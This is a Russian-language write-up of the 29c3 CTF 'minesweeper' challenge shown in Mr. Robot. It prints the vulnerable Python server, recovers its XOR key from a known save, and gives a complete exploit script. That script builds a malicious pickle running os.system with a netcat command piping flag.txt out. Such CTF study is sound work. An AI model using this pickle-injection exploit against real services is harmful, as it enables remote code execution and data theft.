
Здравствуйте, хабродамы и хаброгоспода!
Recently попался мне случайно на глаза один эпизод из недавно модного сериала «Мистер Робот». Не будучи сильно знакомым с проектом, я всё же знал о связанной с ним массивной пиар-кампании (которая вроде как даже проводила нечто вроде ARG-мероприятий), поэтому когда я услышал условие занимательного CTF-таска (из жанра bin/exploitation), представленного в сюжете одной из серий, я подумал, что скорее всего, этот таск существовал в действительности. Обратившись ко всемирной паутине, я подтвердил своё предположение, и, так как задача не очень сложная (не успеет наскучить в рамках одной хабростатьи), но крайне оригинальная и интересная, сегодня займемся её разбором.
Cut, cut, cut!
Превью
В кратце о том, как это выглядело с экранов ТВ: в одном эпизоде (3-й сезон, 1-я серия, ~ 20:20-22:50) перед зрителем предстает «подпольное хакерское заведение», aka изрисованный анархистским граффи́ти чулан, забитый тучей компьютеров, километрами жёлтых патч-кордов и несколькими киберпанк-like азиатами. Здесь, в окружении неонового вейп-пара и калейдоскопа кислотно-зелёных букв на аспидно-чёрных фонах терминалов машин, накалился самый разгар страстей CTF-соревнования. ГГ подходит к одному из участников, который жалуется ему, что не может справиться с одним из тасков, ГГ за 25 секунд объясняет ему все тайны задачи, даже не взглянув на монитор, ГГ выбивает флаг. Конец.
Теперь о самом таске: это реальная задача на исследование исходного кода, стоящая 100 очков (самый минимум, хе-хе), которая засветилась в «29c3 CTF» (2012 г.). Для ее решения нам понадобятся: 1 часть знаний базовой криптографии и 2 части знания Пайтона (одна, чтобы в pickle.loads() увидеть уязвимость внедрения шеллкода, другая, чтобы написать пару-тройку строк эксплойта).
Для начала рассмотрим условие.
Условие
Enough of reversing? Play this nice game and chill a bit, if you want, you can even save the game and enjoy it later! XX.XX.XX.XX:1024
<хттп://и_тут_сайт_с_исходником/minesweeper.py>
Вольный перевод от автора:
Надоело реверсить? Отвлекись немного и сыграй в нашу игрульку, а если захочешь, можешь даже сейвануться, чтобы потом продолжить, где остановился! XX.XX.XX.XX:1024
<хттп://и_тут_сайт_с_исходником/minesweeper.py>
Исходный код, поставляемый в комплекте с таском, прячется под спойлером:
minesweeper.py
#!/usr/bin/env python import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os def load_encrypt_key(): try: f = open('encrypt_key.bin', 'r') try: encrypt_key = f.read(4096) if len(encrypt_key) == 4096: return encrypt_key finally: f.close() except: pass rand = random.SystemRandom() encrypt_key = "" for i in xrange(0, 4096): encrypt_key += chr(rand.randint(0,255)) try: f = open('encrypt_key.bin', 'w') try: f.write(encrypt_key) finally: f.close() except: pass return encrypt_key class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = [] def calc_num(self, point): n = 0 for y in xrange(point[0] - 1, point[0] + 2): for x in xrange(point[1] - 1, point[1] + 2): p = (y, x) if p != point and p in self.mines: n += 1 return n def open(self, y, x): point = (int(y), int(x)) if point[0] < 0 or point[0] >= self.h: return (True, "Illegal point") if point[1] < 0 or point[1] >= self.w: return (True, "Illegal point") if point in self.opened: return (True, "Already opened") if point in self.flagged: return (True, "Already flagged") bisect.insort(self.opened, point) if point in self.mines: return (False, "You lose") if len(self.opened) + len(self.mines) == self.w * self.h: return (False, "You win") if self.calc_num(point) == 0: #open everything around - it can not result in something bad self.open(y-1, x-1) self.open(y-1, x) self.open(y-1, x+1) self.open(y, x-1) self.open(y, x+1) self.open(y+1, x-1) self.open(y+1, x) self.open(y+1, x+1) return (True, None) def flag(self, y, x): point = (int(y), int(x)) if point[0] < 0 or point[0] >= self.h: return "Illegal point" if point[1] < 0 or point[1] >= self.w: return "Illegal point" if point in self.opened: return "Already opened" if point in self.flagged: self.flagged.remove(point) else: bisect.insort(self.flagged, point) return None def load(self, data): self.__dict__ = pickle.loads(data) def save(self): return pickle.dumps(self.__dict__, 1) def write(self, stream): mine = 0 open = 0 flag = 0 screen = " " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n +" + ("-" * self.w) + "+\n" for y in xrange(0, self.h): have_mines = mine < len(self.mines) and self.mines[mine][0] == y have_opened = open < len(self.opened) and self.opened[open][0] == y have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y screen += chr(0x30 | (y % 10)) + "|" for x in xrange(0, self.w): is_mine = have_mines and self.mines[mine][1] == x is_opened = have_opened and self.opened[open][1] == x is_flagged = have_flagged and self.flagged[flag][1] == x assert(not (is_opened and is_flagged)) if is_mine: mine += 1 have_mines = mine < len(self.mines) and self.mines[mine][0] == y if is_opened: open += 1 have_opened = open < len(self.opened) and self.opened[open][0] == y if is_mine: c = "*" else: c = ord("0") #check prev row for m in xrange(mine - 1, -1, -1): if self.mines[m][0] < y - 1: break if self.mines[m][0] == y - 1 and self.mines[m][1] in (x - 1, x, x + 1): c += 1 #check left & right if mine > 0 and self.mines[mine - 1][0] == y and self.mines[mine - 1][1] == x - 1: c += 1 if have_mines and self.mines[mine][1] == x + 1: c += 1 #check next row for m in xrange(mine, len(self.mines)): if self.mines[m][0] > y + 1: break if self.mines[m][0] == y + 1 and self.mines[m][1] in (x - 1, x, x + 1): c += 1 c = chr(c) elif is_flagged: flag += 1 have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y c = "!" else: c = " " screen += c screen += "|" + chr(0x30 | (y % 10)) + "\n" screen += " +" + ("-" * self.w) + "+\n " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n" stream.send(screen) sock = socket.socket() sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 1024)) sock.listen(10) signal.signal(signal.SIGCHLD, signal.SIG_IGN) encrypt_key = load_encrypt_key() while 1: client, addr = sock.accept() if os.fork() == 0: break client.close() sock.close() f = Field(16, 16, 20) re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$") re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$") def handle(line): if len(line) < 1: return (True, None) if len(line) == 1 and line[0] in "qxQX": return (False, "Bye") global f if line[0] in "foFO": m = re_pos.match(line) if m is None: return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3") x,y = m.groups() x = int(x) y = int(y) if line[0] in "oO": return f.open(y,x) else: return (True, f.flag(y,x)) elif line[0] in "lL": m = re_save.match(line) if m is None: return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") msg = base64.standard_b64decode(m.group(1)) tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp if msg[0:9] != "4n71cH3aT": return (True, "Unable to load savegame (magic)") h = hashlib.sha1() h.update(msg[9+h.digest_size:]) if msg[9:9+h.digest_size] != h.digest(): return (True, "Unable to load savegame (checksum)") try: f.load(msg[9+h.digest_size:]) except: return (True, "Unable to load savegame (exception)") return (True, "Savegame loaded") elif len(line) == 1 and line[0] in "sS": msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp return (True, "Your savegame: " + base64.standard_b64encode(msg)) #elif len(line) == 1 and line[0] in "dD": # return (True, repr(f.__dict__)+"\n") else: return (True, "Unknown Command: '" + line[0] + "', valid commands: o f q x l s") data = "" while 1: f.write(client) while 1: pos = data.find("\n") if pos != -1: cont, msg = handle(data[0:pos]) if not cont: if msg is not None: client.send(msg + "\n") f.write(client) client.close() sys.exit(0) if msg is not None: client.send(msg + "\n") data = data[pos+1:] break new_data = client.recv(4096) if len(new_data) == 0: sys.exit(0) data += new_data
В действительности же мы имеем тривиальное клиент-серверное приложение, которое «играет» с тобой в Сапёра. Прилагаемый исходник крутится на сервере, доступ к которому у участников есть только через скромный cli-интерфейс netcat'а — клиентской стороны игры. Как следствие, для получения флага игроку нужно найти слабое место в реализации самопального Сапёра, чтобы получить доступ к файловой системе сервера (очевидно, что флаг там, где ж ему ещё быть).
Пора покопаться в чужих исходниках…
Исследование исходного кода
import pickle
Как уже было сказано, человек, обладающей щепоткой знаний стандартной библиотеки Пайтона, увидит один из векторов исследования уже на второй строке файла с исходным текстом:
import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os
В программе используется модуль pickle, а значит, скорее всего (памятуя о предоставленной возможности сохранять и загружать состояние игры), мы увидим вызов метода piclke.loads(), который, как известно, уязвим к выполнению произвольного кода.
Теория говорит нам, что библиотека pickle (от англ. «засолить») используется для сериализации и десериализации объектов Пайтона, т. е. для соответственно сохранения состояния объектов в виде битовых последовательностей (по определённому алгоритму — протоколу) с целью их долговременного хранения в файлах на ЖД, передачи по сети и т. п., и восстановления этого состояния из всё той же битовой последовательности для дальнейшего использования в теле программы. НО, также, теория (от лица документации Питона) нас вежливо предупреждает жирными буквами на красном фоне о том, что мы должны быть уверены в надёжности данных, которые мы десериализируем, чтобы не стать жертвой выполнения специально созданного файла с вредоносной нагрузкой, который может сильно подпортить нам жизнь.
Запомним этот момент и пойдём дальше по коду.
load_encrypt_key()
def load_encrypt_key(): try: f = open('encrypt_key.bin', 'r') try: encrypt_key = f.read(4096) if len(encrypt_key) == 4096: return encrypt_key finally: f.close() except: pass rand = random.SystemRandom() encrypt_key = "" for i in xrange(0, 4096): encrypt_key += chr(rand.randint(0,255)) try: f = open('encrypt_key.bin', 'w') try: f.write(encrypt_key) finally: f.close() except: pass return encrypt_key
Сразу же видим функцию с пугающим названием load_encrypt_key(), что наводит на мысль, что у игры будет метод проверки/подписи чего-либо (сохранённых данных?) секретным ключом, хранящемся на сервере.
Функция делает ни что иное, как загружает секретный ключ: если он существует, то сервер забирает его из файла encrypt_key.bin, иначе такой файл генерируется и забивается случайными однобайтовыми значениями. Размер секретного ключа: 4096 байт. Запомнили, идём дальше.
class Field
Далее следует класс, который описывает поле для игры в Сапёра:
class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = [] def calc_num(self, point): # ... def open(self, y, x): # ... def flag(self, y, x): # ... def load(self, data): self.__dict__ = pickle.loads(data) def save(self): return pickle.dumps(self.__dict__, 1) def write(self, stream): # ...
Я намеренно оставил только то, что заслуживает нашего внимания, а именно: конструктор, описывающий поля́ по́ля Field (w — ширина, h — высота, mines — список с координатами мин [генерируются случайно] и списки с координатами открытых и разминированных ячеек — opened и flagged соответственно), а также методы загрузки и сохранения игры.
Наше предположение оказалось верным — piclke.loads() и правда используется для загрузки игры. Как это происходит: метод Field.save() загоняет состояние поля в последовательность бит (по протоколу 1 метода pickle.dumps()), а метод Field.load() восстанавливает эту последовательность по просьбе игрока, возвращая ему тот момент игрового процесса, на котором он остановился.
Методы, в которых опущено описание, являются непосредственными составляющими реализации самого игрового процесса и не содержат информации, которая бы оказалась полезна
Инициализация соединения
Дальше мы видим кусок кода для установления соединения между клиентом и сервером, загрузку секретного ключа и создание экземпляра класса Field, размером 16x16 и с количеством мин, равным 20:
sock = socket.socket() sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 1024)) sock.listen(10) signal.signal(signal.SIGCHLD, signal.SIG_IGN) encrypt_key = load_encrypt_key() while 1: client, addr = sock.accept() if os.fork() == 0: break client.close() sock.close() f = Field(16, 16, 20)
Замечу, что поиграть в Сапёра можно и при наличии только одного ПК.
Минутка ПАРАНОЙИ: выполнение действия ниже равносильно открытию порта с уязвимым на получение шелла приложением, поэтому, если порт доступен извне, решившим потестить скрипт рекомендуется сменить интерфейс для bind'а с 0.0.0.0 на 127.0.0.1.
Если запустить программу в одном окне терминала, а в другом прописать
$ nc 0.0.0.0 1024, эффект будет такой же, как при игре с удаленным сервером.Что ж, давайте так и поступим. Так как вывод объёмный, результат под спойлером:
Пробное соединение

Что мы имеем:
- После первого ввода символа «h» (хотел немного хелпы), нам стал доступен список команд: o, f, q, x, l, s. Чуть позже мы узнаем, что o — open (открыть ячейку), f — flag (разминировать ячейку), q — quit (выйти из игры), x — exit (выйти из игры), l — load (загрузить игру), s — save (сохранить игру).
- Вывод команды save идет в виде base64-строки.
- Ввод для команды load также должен представлять из себя base64-строку.
Замечательно! Вернёмся к коду.
handle()
Мы дошли до самой интересной части — функции обработки пользовательского ввода:
handle()
re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$") re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$") def handle(line): if len(line) < 1: return (True, None) if len(line) == 1 and line[0] in "qxQX": return (False, "Bye") global f if line[0] in "foFO": m = re_pos.match(line) if m is None: return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3") x,y = m.groups() x = int(x) y = int(y) if line[0] in "oO": return f.open(y,x) else: return (True, f.flag(y,x)) elif line[0] in "lL": m = re_save.match(line) if m is None: return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") msg = base64.standard_b64decode(m.group(1)) tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp if msg[0:9] != "4n71cH3aT": return (True, "Unable to load savegame (magic)") h = hashlib.sha1() h.update(msg[9+h.digest_size:]) if msg[9:9+h.digest_size] != h.digest(): return (True, "Unable to load savegame (checksum)") try: f.load(msg[9+h.digest_size:]) except: return (True, "Unable to load savegame (exception)") return (True, "Savegame loaded") elif len(line) == 1 and line[0] in "sS": msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp return (True, "Your savegame: " + base64.standard_b64encode(msg)) #elif len(line) == 1 and line[0] in "dD": # return (True, repr(f.__dict__)+"\n") else: return (True, "Unknown Command: '" + line[0] + "', valid commands: o f q x l s")
Опять же, рассмотрим только значимые моменты. Начнём с той части, которая отвечает за сохранение игры:
elif len(line) == 1 and line[0] in "sS": msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp return (True, "Your savegame: " + base64.standard_b64encode(msg))
Сохранение происходит в 4 этапа:
msg = f.save()— сохраняем дамп текущего состояния поля Field.h = hashlib.sha1(); h.update(msg); msg = "4n71cH3aT" + h.digest() + msg— берём sha1-хеш от полученного сообщения и производим операцию конкатенации: хеш вместе с солью (строкой "4n71cH3aT") добавляется в начало сообщения.for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))— подписываем сообщение: xor'им каждый байт сообщения с очередным байтом секретного ключа.return (True, "Your savegame: " + base64.standard_b64encode(msg))— возвращаем base64-строку от подписанного сообщения. Это и есть наш сейв.
Рассмотрим загрузку:
elif line[0] in "lL": m = re_save.match(line) if m is None: return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") msg = base64.standard_b64decode(m.group(1)) tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp if msg[0:9] != "4n71cH3aT": return (True, "Unable to load savegame (magic)") h = hashlib.sha1() h.update(msg[9+h.digest_size:]) if msg[9:9+h.digest_size] != h.digest(): return (True, "Unable to load savegame (checksum)") try: f.load(msg[9+h.digest_size:]) except: return (True, "Unable to load savegame (exception)") return (True, "Savegame loaded")
Загрузка происходит по аналогичному алгоритму, но в обратном порядке:
- Декодируем base64-строку.
- Опять применяем операцию xor для получения исходного сообщения.
- Избавляемся от соли-префикса "4n71cH3aT".
- Сравниваем имеющийся хеш сообщения с вновь посчитанным: если совпало, то успешно —
return (True, "Savegame loaded"), иначе, ошибка контрольной суммы —return (True, "Unable to load savegame (checksum)").
Анализ кода завершён, дальше следует основной цикл взаимодействия «клиент-сервер», не представляющий для нас интереса.
Планирование атаки
Итак, мы обладаем всей необходимой информацией для написания эксплойта.
Примерный план таков: создать вредоносный файл сохранения с внедрённым пейлоадом на выполнение желаемого шеллкода и скормить его серверу, тем самым заставив его выполнить непредусмотренное создателем игры действие. Наша главная задача в этой ситуации — извлечь секретный ключ сервера (часть секретного ключа, если быть точным: в нашем случае поле маленькое, и все 4096 байт ключа не используются) для подписи своего сохранения. Для этого ещё раз обратимся к следующим строкам метода сохранения игры:
msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
Используемый шифр — тривиальный xor-шифр, следовательно, зная ВСЕ составляющие уравнения кроме секретного ключа, мы легко сможем извлечь и его, просто прогнав xor ещё раз:
Из этого у нас есть: Save (который игра разрешает получить) и Prefix ("4n71cH3aT"). Осталось разобраться с Field. Чтобы трюк прокатил, необходимо, чтобы наш (фальшивый) экземпляр Field в точности совпадал с экземпляром на сервере, т. к. в нашем случае pickle.dumps() сериализирует словарь, содержащий поля экземпляра Field с их значениями.
Вспомним, из чего состоит Field:
class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = []
Ширина, высота известны, списки с открытыми и разминированными ячейками проще всего вообще оставить пустыми (сохранившись в самом начале игры, не сделав ни одного хода); остаются координаты мин. Единственным решением становится прохождение игры для формирования списка с такими координатами.
Никогда не любил Сапёра, но, чтобы всё было честно, пронаблюдать мое прохождение можно под спойлером:
Как я в Сапёра играл
Примечание: при выполнении команды o или f сначала указывается столбец, потом строка; например команда o3,15 открывает ячейку с координатами (15, 3).


В результате получили такой массив из мин:
mines = [ (1, 12), (1, 14), (2, 10), (2, 12), (2, 14), (3, 6), (4, 0), (4, 15), (5, 2), (8, 12), (8, 13), (8, 14), (10, 5), (10, 9), (11, 7), (11, 11), (13, 2), (13, 9), (14, 3), (14, 15) ]
Теперь, подключимся к Сапёру ещё раз для получения «пустого» сохранения:

Пишем эксплойт
Для начала нам понадобится фейковое поле, в котором мы сразу же для удобства реализуем метод dump():
class FieldFake: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = sorted(set(mines)) self.opened = [] self.flagged = [] def dump(self): return pickle.dumps(self.__dict__, protocol=1)
Напишем функцию получения посоленного хеша, соединённого с сообщением и функцию xor-шифрования:
def gamehash(gamepickle): h = hashlib.sha1() h.update(gamepickle) return '4n71cH3aT' + h.digest() + gamepickle def crypt(plain, key): return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ])
Напишем функтор для генераци пейлоада. На вход будет подаваться желаемая команда, которую должен выполнить сервер, на выходе получим готовый шеллкод, пригодный для внедрения во вредоносное сохранение:
class Payload(object): def __init__(self, cmd): self.cmd = cmd def __reduce__(self): import os return (os.system, (self.cmd,))
Дело за малым — пишем main():
def main(): # Подписанное "пустое" сохранение, сделанное в начале игры encrypted = base64.standard_b64decode( 'Sqp2o3wcpQh6QGo4hT+x8U460tEeiF' \ 'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V' \ 'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF' \ 'ECoGugBcTl+DR6NTKctUxpl+yjCSO7' \ 'uwL/+Az5w+9vNpVky+QChWcP0OfHAG' \ '8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt' \ 'QNtQsdy00Zrhv+lCPv+6LQxltt+u39' \ 'zLbKVnOsaLF+j0JOW3hx352U5/UIVP' \ '2xav1OcIy30n+IhmIhbikpnmk2Kc8r' \ 'Le5qMX56v/irjSqbXnIsfgeKY4DfoS' \ 'Vp79YT+c+HxDP2roMyTeS+d10uUEYM' \ 'Mp0Q==' ) # Фейковое поле, инициализированное необходимыми данными reconstructed = FieldFake( 16, 16, [ (1, 12), (1, 14), (2, 10), (2, 12), (2, 14), (3, 6), (4, 0), (4, 15), (5, 2), (8, 12), (8, 13), (8, 14), (10, 5), (10, 9), (11, 7), (11, 11), (13, 2), (13, 9), (14, 3), (14, 15) ] ) # Префикс + хеш + сообщение (грубо говоря, неподписанное сохранение) unencrypted = gamehash(reconstructed.dump()) # Извлекаем часть ключа part_of_key = crypt(unencrypted, encrypted) # Генерируем шеллкод evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234')) # Кодируем base64. Сейв готов! evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key)) print evilsave
Можно было бы придумать что-то более оригинальное (вплоть до получения шелла), но для простоты демонстрации в качестве команды выберем простой cat для вывода на localhost по порту 1234 в sdout содержимое файла flag.txt, который по нашему предположению находился бы в том же каталоге на сервере, откуда был запущен скрипт (в нашем случае его туда нужно сначала положить ;) ), и привилегии на чтение которого у нас также по счастливой случайности имеются.
Собираем воедино и проверяем работу:
evilsave.py
#!/usr/bin/env python3 # -*- coding: UTF-8 -*- # Usage: python3 evilsave.py import hashlib, base64, pickle class FieldFake: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = sorted(set(mines)) self.opened = [] self.flagged = [] def dump(self): return pickle.dumps(self.__dict__, protocol=1) class Payload(object): def __init__(self, cmd): self.cmd = cmd def __reduce__(self): import os return (os.system, (self.cmd,)) def gamehash(gamepickle): h = hashlib.sha1() h.update(gamepickle) return '4n71cH3aT' + h.digest() + gamepickle def crypt(plain, key): return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ]) def main(): # Подписанное "пустое" сохранение, сделанное в начале игры encrypted = base64.standard_b64decode( 'Sqp2o3wcpQh6QGo4hT+x8U460tEeiF' \ 'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V' \ 'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF' \ 'ECoGugBcTl+DR6NTKctUxpl+yjCSO7' \ 'uwL/+Az5w+9vNpVky+QChWcP0OfHAG' \ '8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt' \ 'QNtQsdy00Zrhv+lCPv+6LQxltt+u39' \ 'zLbKVnOsaLF+j0JOW3hx352U5/UIVP' \ '2xav1OcIy30n+IhmIhbikpnmk2Kc8r' \ 'Le5qMX56v/irjSqbXnIsfgeKY4DfoS' \ 'Vp79YT+c+HxDP2roMyTeS+d10uUEYM' \ 'Mp0Q==' ) # Фейковое поле, инициализированное необходимыми данными reconstructed = FieldFake( 16, 16, [ (1, 12), (1, 14), (2, 10), (2, 12), (2, 14), (3, 6), (4, 0), (4, 15), (5, 2), (8, 12), (8, 13), (8, 14), (10, 5), (10, 9), (11, 7), (11, 11), (13, 2), (13, 9), (14, 3), (14, 15) ] ) # Префикс + хеш + сообщение (грубо говоря, неподписанное сохранение) unencrypted = gamehash(reconstructed.dump()) # Извлекаем часть ключа part_of_key = crypt(unencrypted, encrypted) # Генерируем шеллкод evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234')) # Кодируем base64. Сейв готов! evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key)) print evilsave if __name__ == '__main__': main()
И несмотря на то, что нам написали предупреждение "Unable to load savegame (exception)" (генератором которого, стало брошенное pickle.loads()'ом исключение)…

… в соседнем окне терминала (также на «клиентской» стороне) мы смогли получить содержимое файла flag.txt, ура, ура:

Заключение
Таск очень красив и оригинален (к тому же, по моему мнению, он хорошо демонстрирует педантичную изящность и многофункциональность Пайтона), но вполне прост, если разобраться, что к чему (не даром за него всего 100 очков давали), в связи с этим не совсем понятно, что вызвало такие трудности у участников соревнования по сюжету сериала. Однако, его решение главным героем < чем за пол минуты без скролла исходника действительно выше всяких похвал, нужно было ему задачу о равенстве P и NP подсунуть — при таком подходе всё равно ведь, что решать J
Сериализируйте только проверенные данные, используйте стойкое шифрование, играйте в хорошие игры и не плодите «злых» сохранений.
Happy hacking!

Интересные ссылки
- CTFtime.org / 29c3 CTF / minesweeper — ctftime.org/task/193
- Mr.Robot.S03. Как новый сезон «Мистера Робота» радовал фанатов пасхалками и хакерскими играми — «Хакер» — xakep.ru/2018/01/29/mrrobot-s03
- Cryptic python «minesweeper» challenge: MrRobot — reddit.com/r/MrRobot/comments/76kz6m/cryptic_python_minesweeper_challenge